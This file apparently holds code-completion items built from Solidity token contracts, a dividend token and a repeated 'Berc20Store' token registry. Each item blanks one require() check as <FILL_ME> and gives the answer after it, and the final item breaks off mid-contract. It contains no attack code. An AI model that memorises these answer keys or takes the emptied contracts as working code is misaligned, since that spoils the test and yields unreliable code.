/// @dev "true" to exclude, "false" to include
function excludeFromDividends(address account, bool value)
external
onlyOwner
{
}
function setDevWallet(address newWallet) public onlyOwner {
}
function updateMaxWalletAmount(uint256 newNum) public onlyOwner {
}
function setMaxBuyAndSell(uint256 maxBuy, uint256 maxSell)
public
onlyOwner
{
}
function setDiv_Token(address _token) external onlyOwner {
}
/// @notice Update the threshold to swap tokens for liquidity,
/// treasury and dividends.
function setSwapTokensAtAmount(uint256 amount) public onlyOwner {
}
function setBuyTaxes(
uint256 _rewards,
uint256 _treasury,
uint256 _dev
) external onlyOwner {
}
function setSellTaxes(
uint256 _rewards,
uint256 _treasury,
uint256 _dev
) external onlyOwner {
}
function setBuyTaxesGovernor(
uint256 _rewards,
uint256 _treasury,
uint256 _dev
) external onlyGovernor {
require(_rewards + _treasury + _dev <= 20, "Fee must be <= 20%");
require(<FILL_ME>)
buyTaxes = Taxes(_rewards, _treasury, _dev);
totalBuyTax = _rewards + _treasury + _dev;
}
function setSellTaxesGovernor(
uint256 _rewards,
uint256 _treasury,
uint256 _dev
) external onlyGovernor {
}
/// @notice Enable or disable internal swaps
/// @dev Set "true" to enable internal swaps for liquidity, treasury and dividends
function setSwapEnabled(bool _enabled) external onlyOwner {
}
/// @notice Manual claim the dividends
function claim() external {
}
/// @notice Withdraw tokens sent by mistake.
/// @param tokenAddress The address of the token to withdraw
function rescueETH20Tokens(address tokenAddress) external onlyOwner {
}
/// @notice Send remaining ETH to treasuryWallet
/// @dev It will send all ETH to treasuryWallet
function forceSend() external onlyOwner {
}
function trackerRescueETH20Tokens(address tokenAddress) external onlyOwner {
}
function trackerForceSend() external onlyOwner {
}
function updateRouter(address newRouter) external onlyOwner {
}
function activateTrading() external onlyOwner {
}
function setClaimEnabled(bool state) external onlyOwner {
}
/// @param bot The bot address
/// @param value "true" to blacklist, "false" to unblacklist
function setBot(address bot, bool value) external onlyOwner {
}
/// @dev Set new pairs created due to listing in new DEX
function setAutomatedMarketMakerPair(address newPair, bool value)
external
onlyOwner
{
}
function _setAutomatedMarketMakerPair(address newPair, bool value) private {
}
function getTotalDividendsDistributed() external view returns (uint256) {
}
function isExcludedFromFees(address account) public view returns (bool) {
}
function withdrawableDividendOf(address account)
public
view
returns (uint256)
{
}
function dividendTokenBalanceOf(address account)
public
view
returns (uint256)
{
}
function getAccountInfo(address account)
external
view
returns (
address,
uint256,
uint256,
uint256,
uint256
)
{
}
function _transfer(
address from,
address to,
uint256 amount
) internal override {
}
function swapAndLiquify(uint256 tokens) private {
}
function swapTokensForETH(uint256 tokenAmount) private {
}
}
contract DividendTracker is Ownable, DividendPayingToken {
struct AccountInfo {
address account;
uint256 withdrawableDividends;
uint256 totalDividends;
uint256 lastClaimTime;
}
mapping(address => bool) public excludedFromDividends;
mapping(address => uint256) public lastClaimTimes;
event ExcludeFromDividends(address indexed account, bool value);
event Claim(address indexed account, uint256 amount);
constructor() DividendPayingToken("Dividend_Tracker", "Dividend_Tracker") {}
function trackerRescueETH20Tokens(address recipient, address tokenAddress)
external
onlyOwner
{
}
function trackerForceSend(address recipient) external onlyOwner {
}
function _transfer(
address,
address,
uint256
) internal pure override {
}
function excludeFromDividends(address account, bool value)
external
onlyOwner
{
}
function getAccount(address account)
public
view
returns (
address,
uint256,
uint256,
uint256,
uint256
)
{
}
function setBalance(address account, uint256 newBalance)
external
onlyOwner
{
}
function updateLP_Token(address _lpToken) external onlyOwner {
}
function processAccount(address payable account)
external
onlyOwner
returns (bool)
{
}
}
| _rewards+_treasury+_dev>1,"Fee must be higher then 1%" | 418,923 | _rewards+_treasury+_dev>1 |
"symbol unavailable" | // SPDX-License-Identifier: MIT
//'########::'########:'########:::'######:::'#######::::'#####:::
//##.... ##: ##.....:: ##.... ##:'##... ##:'##.... ##::'##.. ##::
//##:::: ##: ##::::::: ##:::: ##: ##:::..::..::::: ##:'##:::: ##:
//########:: ######::: ########:: ##::::::::'#######:: ##:::: ##:
//##.... ##: ##...:::: ##.. ##::: ##:::::::'##:::::::: ##:::: ##:
//##:::: ##: ##::::::: ##::. ##:: ##::: ##: ##::::::::. ##:: ##::
//########:: ########: ##:::. ##:. ######:: #########::. #####:::
//........:::........::..:::::..:::......:::.........::::.....::::
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface BlackErc20 {
function getMintedCounts() external view returns (uint256);
function getAllContractTypes() external view returns (uint256[] memory);
}
contract Berc20Store is Ownable {
address public authorizedAddress;
uint256 public maxUrlLength = 50;
uint256 public maxTextLength = 100;
string public defaultLogo = "https://s1.ax1x.com/2023/06/18/pC1Sj1A.png";
string[] private forbiddenNames = ["btc", "eth", "usdt", "bnb", "usdc", "xrp", "steth", "ada", "doge", "sol", "trx", "ltc", "matic", "dot", "dai", "busd", "wbtc", "shiba","avax","uin","link","okb","atom","etc","tusd","ferc"];
address public devAddress;
uint256 public payPrice;
mapping(address => uint256) public oldTokenMintedNums;
//////////////////////////////////////////////////////////////////////
struct TokenInfo {
address tokenAddress;
string logo;
string name;
string symbol;
uint256 totalSupply;
uint256 maxMintCount;
uint256 maxMintPerAddress;
uint256 mintPrice;
address creator;
uint256 progress;
uint256[4] limits; // 0 - erc20，1 - erc721，2 - erc1155，3 - white list
}
struct TokenMsg {
string description;
string logoUrl;
string bannerUrl;
string website;
string twitter;
string telegram;
string discord;
string detailUrl;
}
struct Profile {
uint256 idx;
TokenMsg msg;
bytes32 wlRoot;
mapping(uint256=>uint256) params;
uint256 paramsCount;
mapping(uint256=>address) authContracts;
uint256 authContractsCount;
}
struct FoundTokenItem {
uint128 i;
uint128 progress;
}
//////////////////////////////////////////////////////////////////////
// tokens
mapping(uint256 => TokenInfo) public tokens; // (id=>token), NOTE: begin with 1, or 0 failed
uint256 public tokensCount;
// profile data for uesr
mapping(address => Profile) public tokenProfiles;
mapping(string => address) public tokenNames;
modifier onlyAuthorized() {
}
receive() external payable {}
//fallback() external payable {}
function createTokenInfo(address tokenAddress,
string memory name,
string memory symbol,
uint256 totalSupply,
uint256 maxMintCount,
uint256 maxMintPerAddress,
uint256 mintPrice,
address creator,
bytes32 wlRoot,
uint256[] memory params,
address[] memory authContracts
) external onlyAuthorized {
require(<FILL_ME>)
_addTokenInfo(tokenAddress, name, _toLower(symbol), totalSupply, maxMintCount, maxMintPerAddress, mintPrice, creator, wlRoot, params, authContracts);
string memory lowerCaseName = _toLower(symbol);
forbiddenNames.push(lowerCaseName);
}
function addTokenInfo(address tokenAddress,
string memory name,
string memory symbol,
uint256 totalSupply,
uint256 maxMintCount,
uint256 maxMintPerAddress,
uint256 mintPrice,
address creator,
bytes32 wlRoot,
uint256[] memory params,
address[] memory authContracts
) public onlyOwner {
}
/*
new search tokens
tokenType_:
0 - ALL;
1 - IN PROGRESS;
2 - END.
*/
function getTokensByPage(uint256 pageNo_, uint256 pageSize_, uint256 tokenType_, string memory tokenName_) external view
returns (uint256 allItems_, uint256 totalPages_, uint256 cnt_, TokenInfo[] memory recs_) {
}
// query by specified token name
function _queryTokenByName(string memory tokenName_) private view returns (uint256 cnt_, TokenInfo[] memory recs_) {
}
function calculateTokenProgress(address tokenAddress, uint256 maxMintCount) internal view returns (uint256) {
}
function getTokenBase(address tokenAddress) external view returns (TokenInfo memory tokenInfo,TokenMsg memory tokenMsg) {
}
function getTokenDetail(address tokenAddress) external view returns (TokenMsg memory tokenMsg, address[] memory tokenAuthContract, uint256[] memory tokenParam1) {
}
function editTokenMsg(
address tokenAddress,
string memory description,
string memory logoUrl,
string memory bannerUrl,
string memory website,
string memory twitter,
string memory telegram,
string memory discord,
string memory detailUrl
) external payable {
}
function _addTokenInfo(address tokenAddress,
string memory name,
string memory symbol,
uint256 totalSupply,
uint256 maxMintCount,
uint256 maxMintPerAddress,
uint256 mintPrice,
address creator,
bytes32 wlRoot,
uint256[] memory params,
address[] memory authContracts
) private {
}
function isNameValid(string memory name) public view returns (bool) {
}
function _toLower(string memory str) private pure returns (string memory) {
}
// new set condition data
function _setConditionDataByStorage(TokenInfo storage token_, address addr_) private {
}
function _setConditionDataByMem(TokenInfo memory token_, address addr_) private view {
}
function addForbiddenName(string memory name) private onlyOwner{
}
function removeForbiddenName(string memory name) public onlyOwner {
}
function setUrlLength(uint256 urlLength) external onlyOwner{
}
function setTextLength(uint256 textLength) external onlyOwner{
}
function setAuthorizedAddress(address _address) external onlyOwner{
}
function setDefaultLogo(string memory logo) external onlyOwner{
}
function setDevAddress(address dev) external onlyOwner {
}
function devAward() external onlyOwner{
}
function setPayPrice(uint256 _payPrice) external onlyOwner{
}
function setOldTokenMintedNum(address tokenAddress, uint256 mintedNum) external onlyOwner {
}
}
| isNameValid(symbol),"symbol unavailable" | 418,973 | isNameValid(symbol) |
"Invalid description length" | // SPDX-License-Identifier: MIT
//'########::'########:'########:::'######:::'#######::::'#####:::
//##.... ##: ##.....:: ##.... ##:'##... ##:'##.... ##::'##.. ##::
//##:::: ##: ##::::::: ##:::: ##: ##:::..::..::::: ##:'##:::: ##:
//########:: ######::: ########:: ##::::::::'#######:: ##:::: ##:
//##.... ##: ##...:::: ##.. ##::: ##:::::::'##:::::::: ##:::: ##:
//##:::: ##: ##::::::: ##::. ##:: ##::: ##: ##::::::::. ##:: ##::
//########:: ########: ##:::. ##:. ######:: #########::. #####:::
//........:::........::..:::::..:::......:::.........::::.....::::
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface BlackErc20 {
function getMintedCounts() external view returns (uint256);
function getAllContractTypes() external view returns (uint256[] memory);
}
contract Berc20Store is Ownable {
address public authorizedAddress;
uint256 public maxUrlLength = 50;
uint256 public maxTextLength = 100;
string public defaultLogo = "https://s1.ax1x.com/2023/06/18/pC1Sj1A.png";
string[] private forbiddenNames = ["btc", "eth", "usdt", "bnb", "usdc", "xrp", "steth", "ada", "doge", "sol", "trx", "ltc", "matic", "dot", "dai", "busd", "wbtc", "shiba","avax","uin","link","okb","atom","etc","tusd","ferc"];
address public devAddress;
uint256 public payPrice;
mapping(address => uint256) public oldTokenMintedNums;
//////////////////////////////////////////////////////////////////////
struct TokenInfo {
address tokenAddress;
string logo;
string name;
string symbol;
uint256 totalSupply;
uint256 maxMintCount;
uint256 maxMintPerAddress;
uint256 mintPrice;
address creator;
uint256 progress;
uint256[4] limits; // 0 - erc20，1 - erc721，2 - erc1155，3 - white list
}
struct TokenMsg {
string description;
string logoUrl;
string bannerUrl;
string website;
string twitter;
string telegram;
string discord;
string detailUrl;
}
struct Profile {
uint256 idx;
TokenMsg msg;
bytes32 wlRoot;
mapping(uint256=>uint256) params;
uint256 paramsCount;
mapping(uint256=>address) authContracts;
uint256 authContractsCount;
}
struct FoundTokenItem {
uint128 i;
uint128 progress;
}
//////////////////////////////////////////////////////////////////////
// tokens
mapping(uint256 => TokenInfo) public tokens; // (id=>token), NOTE: begin with 1, or 0 failed
uint256 public tokensCount;
// profile data for uesr
mapping(address => Profile) public tokenProfiles;
mapping(string => address) public tokenNames;
modifier onlyAuthorized() {
}
receive() external payable {}
//fallback() external payable {}
function createTokenInfo(address tokenAddress,
string memory name,
string memory symbol,
uint256 totalSupply,
uint256 maxMintCount,
uint256 maxMintPerAddress,
uint256 mintPrice,
address creator,
bytes32 wlRoot,
uint256[] memory params,
address[] memory authContracts
) external onlyAuthorized {
}
function addTokenInfo(address tokenAddress,
string memory name,
string memory symbol,
uint256 totalSupply,
uint256 maxMintCount,
uint256 maxMintPerAddress,
uint256 mintPrice,
address creator,
bytes32 wlRoot,
uint256[] memory params,
address[] memory authContracts
) public onlyOwner {
}
/*
new search tokens
tokenType_:
0 - ALL;
1 - IN PROGRESS;
2 - END.
*/
function getTokensByPage(uint256 pageNo_, uint256 pageSize_, uint256 tokenType_, string memory tokenName_) external view
returns (uint256 allItems_, uint256 totalPages_, uint256 cnt_, TokenInfo[] memory recs_) {
}
// query by specified token name
function _queryTokenByName(string memory tokenName_) private view returns (uint256 cnt_, TokenInfo[] memory recs_) {
}
function calculateTokenProgress(address tokenAddress, uint256 maxMintCount) internal view returns (uint256) {
}
function getTokenBase(address tokenAddress) external view returns (TokenInfo memory tokenInfo,TokenMsg memory tokenMsg) {
}
function getTokenDetail(address tokenAddress) external view returns (TokenMsg memory tokenMsg, address[] memory tokenAuthContract, uint256[] memory tokenParam1) {
}
function editTokenMsg(
address tokenAddress,
string memory description,
string memory logoUrl,
string memory bannerUrl,
string memory website,
string memory twitter,
string memory telegram,
string memory discord,
string memory detailUrl
) external payable {
require(msg.value >= payPrice, "illegal price");
Profile storage p_ = tokenProfiles[tokenAddress];
require(p_.idx > 0, "Invalid Token Address");
TokenInfo storage tokenInfo = tokens[p_.idx-1];
require(tokenInfo.creator == msg.sender,"not permission");
require(<FILL_ME>)
require(bytes(logoUrl).length <= maxUrlLength, "Invalid logoUrl length");
require(bytes(bannerUrl).length <= maxUrlLength, "Invalid bannerUrl length");
require(bytes(website).length <= maxUrlLength, "Invalid website length");
require(bytes(twitter).length <= maxUrlLength, "Invalid twitter length");
require(bytes(telegram).length <= maxUrlLength, "Invalid telegram length");
require(bytes(discord).length <= maxUrlLength, "Invalid discord length");
require(bytes(detailUrl).length <= maxUrlLength, "Invalid detailUrl length");
TokenMsg storage tokenMsg = p_.msg;
tokenMsg.description = description;
tokenMsg.logoUrl = logoUrl;
tokenMsg.bannerUrl = bannerUrl;
tokenMsg.website = website;
tokenMsg.twitter = twitter;
tokenMsg.telegram = telegram;
tokenMsg.discord = discord;
tokenMsg.detailUrl = detailUrl;
}
function _addTokenInfo(address tokenAddress,
string memory name,
string memory symbol,
uint256 totalSupply,
uint256 maxMintCount,
uint256 maxMintPerAddress,
uint256 mintPrice,
address creator,
bytes32 wlRoot,
uint256[] memory params,
address[] memory authContracts
) private {
}
function isNameValid(string memory name) public view returns (bool) {
}
function _toLower(string memory str) private pure returns (string memory) {
}
// new set condition data
function _setConditionDataByStorage(TokenInfo storage token_, address addr_) private {
}
function _setConditionDataByMem(TokenInfo memory token_, address addr_) private view {
}
function addForbiddenName(string memory name) private onlyOwner{
}
function removeForbiddenName(string memory name) public onlyOwner {
}
function setUrlLength(uint256 urlLength) external onlyOwner{
}
function setTextLength(uint256 textLength) external onlyOwner{
}
function setAuthorizedAddress(address _address) external onlyOwner{
}
function setDefaultLogo(string memory logo) external onlyOwner{
}
function setDevAddress(address dev) external onlyOwner {
}
function devAward() external onlyOwner{
}
function setPayPrice(uint256 _payPrice) external onlyOwner{
}
function setOldTokenMintedNum(address tokenAddress, uint256 mintedNum) external onlyOwner {
}
}
| bytes(description).length<=maxTextLength,"Invalid description length" | 418,973 | bytes(description).length<=maxTextLength |
"Invalid logoUrl length" | // SPDX-License-Identifier: MIT
//'########::'########:'########:::'######:::'#######::::'#####:::
//##.... ##: ##.....:: ##.... ##:'##... ##:'##.... ##::'##.. ##::
//##:::: ##: ##::::::: ##:::: ##: ##:::..::..::::: ##:'##:::: ##:
//########:: ######::: ########:: ##::::::::'#######:: ##:::: ##:
//##.... ##: ##...:::: ##.. ##::: ##:::::::'##:::::::: ##:::: ##:
//##:::: ##: ##::::::: ##::. ##:: ##::: ##: ##::::::::. ##:: ##::
//########:: ########: ##:::. ##:. ######:: #########::. #####:::
//........:::........::..:::::..:::......:::.........::::.....::::
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface BlackErc20 {
function getMintedCounts() external view returns (uint256);
function getAllContractTypes() external view returns (uint256[] memory);
}
contract Berc20Store is Ownable {
address public authorizedAddress;
uint256 public maxUrlLength = 50;
uint256 public maxTextLength = 100;
string public defaultLogo = "https://s1.ax1x.com/2023/06/18/pC1Sj1A.png";
string[] private forbiddenNames = ["btc", "eth", "usdt", "bnb", "usdc", "xrp", "steth", "ada", "doge", "sol", "trx", "ltc", "matic", "dot", "dai", "busd", "wbtc", "shiba","avax","uin","link","okb","atom","etc","tusd","ferc"];
address public devAddress;
uint256 public payPrice;
mapping(address => uint256) public oldTokenMintedNums;
//////////////////////////////////////////////////////////////////////
struct TokenInfo {
address tokenAddress;
string logo;
string name;
string symbol;
uint256 totalSupply;
uint256 maxMintCount;
uint256 maxMintPerAddress;
uint256 mintPrice;
address creator;
uint256 progress;
uint256[4] limits; // 0 - erc20，1 - erc721，2 - erc1155，3 - white list
}
struct TokenMsg {
string description;
string logoUrl;
string bannerUrl;
string website;
string twitter;
string telegram;
string discord;
string detailUrl;
}
struct Profile {
uint256 idx;
TokenMsg msg;
bytes32 wlRoot;
mapping(uint256=>uint256) params;
uint256 paramsCount;
mapping(uint256=>address) authContracts;
uint256 authContractsCount;
}
struct FoundTokenItem {
uint128 i;
uint128 progress;
}
//////////////////////////////////////////////////////////////////////
// tokens
mapping(uint256 => TokenInfo) public tokens; // (id=>token), NOTE: begin with 1, or 0 failed
uint256 public tokensCount;
// profile data for uesr
mapping(address => Profile) public tokenProfiles;
mapping(string => address) public tokenNames;
modifier onlyAuthorized() {
}
receive() external payable {}
//fallback() external payable {}
function createTokenInfo(address tokenAddress,
string memory name,
string memory symbol,
uint256 totalSupply,
uint256 maxMintCount,
uint256 maxMintPerAddress,
uint256 mintPrice,
address creator,
bytes32 wlRoot,
uint256[] memory params,
address[] memory authContracts
) external onlyAuthorized {
}
function addTokenInfo(address tokenAddress,
string memory name,
string memory symbol,
uint256 totalSupply,
uint256 maxMintCount,
uint256 maxMintPerAddress,
uint256 mintPrice,
address creator,
bytes32 wlRoot,
uint256[] memory params,
address[] memory authContracts
) public onlyOwner {
}
/*
new search tokens
tokenType_:
0 - ALL;
1 - IN PROGRESS;
2 - END.
*/
function getTokensByPage(uint256 pageNo_, uint256 pageSize_, uint256 tokenType_, string memory tokenName_) external view
returns (uint256 allItems_, uint256 totalPages_, uint256 cnt_, TokenInfo[] memory recs_) {
}
// query by specified token name
function _queryTokenByName(string memory tokenName_) private view returns (uint256 cnt_, TokenInfo[] memory recs_) {
}
function calculateTokenProgress(address tokenAddress, uint256 maxMintCount) internal view returns (uint256) {
}
function getTokenBase(address tokenAddress) external view returns (TokenInfo memory tokenInfo,TokenMsg memory tokenMsg) {
}
function getTokenDetail(address tokenAddress) external view returns (TokenMsg memory tokenMsg, address[] memory tokenAuthContract, uint256[] memory tokenParam1) {
}
function editTokenMsg(
address tokenAddress,
string memory description,
string memory logoUrl,
string memory bannerUrl,
string memory website,
string memory twitter,
string memory telegram,
string memory discord,
string memory detailUrl
) external payable {
require(msg.value >= payPrice, "illegal price");
Profile storage p_ = tokenProfiles[tokenAddress];
require(p_.idx > 0, "Invalid Token Address");
TokenInfo storage tokenInfo = tokens[p_.idx-1];
require(tokenInfo.creator == msg.sender,"not permission");
require(bytes(description).length <= maxTextLength, "Invalid description length");
require(<FILL_ME>)
require(bytes(bannerUrl).length <= maxUrlLength, "Invalid bannerUrl length");
require(bytes(website).length <= maxUrlLength, "Invalid website length");
require(bytes(twitter).length <= maxUrlLength, "Invalid twitter length");
require(bytes(telegram).length <= maxUrlLength, "Invalid telegram length");
require(bytes(discord).length <= maxUrlLength, "Invalid discord length");
require(bytes(detailUrl).length <= maxUrlLength, "Invalid detailUrl length");
TokenMsg storage tokenMsg = p_.msg;
tokenMsg.description = description;
tokenMsg.logoUrl = logoUrl;
tokenMsg.bannerUrl = bannerUrl;
tokenMsg.website = website;
tokenMsg.twitter = twitter;
tokenMsg.telegram = telegram;
tokenMsg.discord = discord;
tokenMsg.detailUrl = detailUrl;
}
function _addTokenInfo(address tokenAddress,
string memory name,
string memory symbol,
uint256 totalSupply,
uint256 maxMintCount,
uint256 maxMintPerAddress,
uint256 mintPrice,
address creator,
bytes32 wlRoot,
uint256[] memory params,
address[] memory authContracts
) private {
}
function isNameValid(string memory name) public view returns (bool) {
}
function _toLower(string memory str) private pure returns (string memory) {
}
// new set condition data
function _setConditionDataByStorage(TokenInfo storage token_, address addr_) private {
}
function _setConditionDataByMem(TokenInfo memory token_, address addr_) private view {
}
function addForbiddenName(string memory name) private onlyOwner{
}
function removeForbiddenName(string memory name) public onlyOwner {
}
function setUrlLength(uint256 urlLength) external onlyOwner{
}
function setTextLength(uint256 textLength) external onlyOwner{
}
function setAuthorizedAddress(address _address) external onlyOwner{
}
function setDefaultLogo(string memory logo) external onlyOwner{
}
function setDevAddress(address dev) external onlyOwner {
}
function devAward() external onlyOwner{
}
function setPayPrice(uint256 _payPrice) external onlyOwner{
}
function setOldTokenMintedNum(address tokenAddress, uint256 mintedNum) external onlyOwner {
}
}
| bytes(logoUrl).length<=maxUrlLength,"Invalid logoUrl length" | 418,973 | bytes(logoUrl).length<=maxUrlLength |
"Invalid bannerUrl length" | // SPDX-License-Identifier: MIT
//'########::'########:'########:::'######:::'#######::::'#####:::
//##.... ##: ##.....:: ##.... ##:'##... ##:'##.... ##::'##.. ##::
//##:::: ##: ##::::::: ##:::: ##: ##:::..::..::::: ##:'##:::: ##:
//########:: ######::: ########:: ##::::::::'#######:: ##:::: ##:
//##.... ##: ##...:::: ##.. ##::: ##:::::::'##:::::::: ##:::: ##:
//##:::: ##: ##::::::: ##::. ##:: ##::: ##: ##::::::::. ##:: ##::
//########:: ########: ##:::. ##:. ######:: #########::. #####:::
//........:::........::..:::::..:::......:::.........::::.....::::
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface BlackErc20 {
function getMintedCounts() external view returns (uint256);
function getAllContractTypes() external view returns (uint256[] memory);
}
contract Berc20Store is Ownable {
address public authorizedAddress;
uint256 public maxUrlLength = 50;
uint256 public maxTextLength = 100;
string public defaultLogo = "https://s1.ax1x.com/2023/06/18/pC1Sj1A.png";
string[] private forbiddenNames = ["btc", "eth", "usdt", "bnb", "usdc", "xrp", "steth", "ada", "doge", "sol", "trx", "ltc", "matic", "dot", "dai", "busd", "wbtc", "shiba","avax","uin","link","okb","atom","etc","tusd","ferc"];
address public devAddress;
uint256 public payPrice;
mapping(address => uint256) public oldTokenMintedNums;
//////////////////////////////////////////////////////////////////////
struct TokenInfo {
address tokenAddress;
string logo;
string name;
string symbol;
uint256 totalSupply;
uint256 maxMintCount;
uint256 maxMintPerAddress;
uint256 mintPrice;
address creator;
uint256 progress;
uint256[4] limits; // 0 - erc20，1 - erc721，2 - erc1155，3 - white list
}
struct TokenMsg {
string description;
string logoUrl;
string bannerUrl;
string website;
string twitter;
string telegram;
string discord;
string detailUrl;
}
struct Profile {
uint256 idx;
TokenMsg msg;
bytes32 wlRoot;
mapping(uint256=>uint256) params;
uint256 paramsCount;
mapping(uint256=>address) authContracts;
uint256 authContractsCount;
}
struct FoundTokenItem {
uint128 i;
uint128 progress;
}
//////////////////////////////////////////////////////////////////////
// tokens
mapping(uint256 => TokenInfo) public tokens; // (id=>token), NOTE: begin with 1, or 0 failed
uint256 public tokensCount;
// profile data for uesr
mapping(address => Profile) public tokenProfiles;
mapping(string => address) public tokenNames;
modifier onlyAuthorized() {
}
receive() external payable {}
//fallback() external payable {}
function createTokenInfo(address tokenAddress,
string memory name,
string memory symbol,
uint256 totalSupply,
uint256 maxMintCount,
uint256 maxMintPerAddress,
uint256 mintPrice,
address creator,
bytes32 wlRoot,
uint256[] memory params,
address[] memory authContracts
) external onlyAuthorized {
}
function addTokenInfo(address tokenAddress,
string memory name,
string memory symbol,
uint256 totalSupply,
uint256 maxMintCount,
uint256 maxMintPerAddress,
uint256 mintPrice,
address creator,
bytes32 wlRoot,
uint256[] memory params,
address[] memory authContracts
) public onlyOwner {
}
/*
new search tokens
tokenType_:
0 - ALL;
1 - IN PROGRESS;
2 - END.
*/
function getTokensByPage(uint256 pageNo_, uint256 pageSize_, uint256 tokenType_, string memory tokenName_) external view
returns (uint256 allItems_, uint256 totalPages_, uint256 cnt_, TokenInfo[] memory recs_) {
}
// query by specified token name
function _queryTokenByName(string memory tokenName_) private view returns (uint256 cnt_, TokenInfo[] memory recs_) {
}
function calculateTokenProgress(address tokenAddress, uint256 maxMintCount) internal view returns (uint256) {
}
function getTokenBase(address tokenAddress) external view returns (TokenInfo memory tokenInfo,TokenMsg memory tokenMsg) {
}
function getTokenDetail(address tokenAddress) external view returns (TokenMsg memory tokenMsg, address[] memory tokenAuthContract, uint256[] memory tokenParam1) {
}
function editTokenMsg(
address tokenAddress,
string memory description,
string memory logoUrl,
string memory bannerUrl,
string memory website,
string memory twitter,
string memory telegram,
string memory discord,
string memory detailUrl
) external payable {
require(msg.value >= payPrice, "illegal price");
Profile storage p_ = tokenProfiles[tokenAddress];
require(p_.idx > 0, "Invalid Token Address");
TokenInfo storage tokenInfo = tokens[p_.idx-1];
require(tokenInfo.creator == msg.sender,"not permission");
require(bytes(description).length <= maxTextLength, "Invalid description length");
require(bytes(logoUrl).length <= maxUrlLength, "Invalid logoUrl length");
require(<FILL_ME>)
require(bytes(website).length <= maxUrlLength, "Invalid website length");
require(bytes(twitter).length <= maxUrlLength, "Invalid twitter length");
require(bytes(telegram).length <= maxUrlLength, "Invalid telegram length");
require(bytes(discord).length <= maxUrlLength, "Invalid discord length");
require(bytes(detailUrl).length <= maxUrlLength, "Invalid detailUrl length");
TokenMsg storage tokenMsg = p_.msg;
tokenMsg.description = description;
tokenMsg.logoUrl = logoUrl;
tokenMsg.bannerUrl = bannerUrl;
tokenMsg.website = website;
tokenMsg.twitter = twitter;
tokenMsg.telegram = telegram;
tokenMsg.discord = discord;
tokenMsg.detailUrl = detailUrl;
}
function _addTokenInfo(address tokenAddress,
string memory name,
string memory symbol,
uint256 totalSupply,
uint256 maxMintCount,
uint256 maxMintPerAddress,
uint256 mintPrice,
address creator,
bytes32 wlRoot,
uint256[] memory params,
address[] memory authContracts
) private {
}
function isNameValid(string memory name) public view returns (bool) {
}
function _toLower(string memory str) private pure returns (string memory) {
}
// new set condition data
function _setConditionDataByStorage(TokenInfo storage token_, address addr_) private {
}
function _setConditionDataByMem(TokenInfo memory token_, address addr_) private view {
}
function addForbiddenName(string memory name) private onlyOwner{
}
function removeForbiddenName(string memory name) public onlyOwner {
}
function setUrlLength(uint256 urlLength) external onlyOwner{
}
function setTextLength(uint256 textLength) external onlyOwner{
}
function setAuthorizedAddress(address _address) external onlyOwner{
}
function setDefaultLogo(string memory logo) external onlyOwner{
}
function setDevAddress(address dev) external onlyOwner {
}
function devAward() external onlyOwner{
}
function setPayPrice(uint256 _payPrice) external onlyOwner{
}
function setOldTokenMintedNum(address tokenAddress, uint256 mintedNum) external onlyOwner {
